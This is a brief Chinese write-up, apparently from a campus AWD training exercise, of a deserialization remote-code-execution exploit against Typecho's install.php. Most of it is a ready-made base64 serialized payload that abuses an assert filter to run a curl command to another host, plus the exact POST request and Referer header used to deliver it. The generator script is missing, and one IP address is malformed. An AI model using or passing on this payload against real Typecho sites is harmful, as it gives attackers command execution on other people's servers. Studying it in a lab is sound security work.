Typecho反序列化导致前台 getshell 漏洞复现
今天校内的AWD训练,遇到了Typecho的框架
第一个是__toString()魔法方法,在/install.php __toString() //把类当作字符串使用时触发
找到文章后马上就把自己的install.php删除
1 |
|
通过php跑出了一长串 的字符,利用这个可以成功回显php页面,修改phpinfo为systeam(需要输入的命令)
得到YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjY2OiJzeXN0ZW0oImN1cmwgMTAuMTIwLjExNS4xMC9pbmRleC5waHA/dG9rZW49NjVfVVNSLTIwMjEwOTE5LXBjbk50IikiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo2Njoic3lzdGVtKCJjdXJsIDEwLjEyMC4xMTUuMTAvaW5kZXgucGhwP3Rva2VuPTY1X1VTUi0yMDIxMDkxOS1wY25OdCIpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
用post提交数据
url:http://1172.31.65.183/install.php?finish=
Postdata:__typecho_config=前面脚本生成的
Referrer:http://192.168.198.128
成功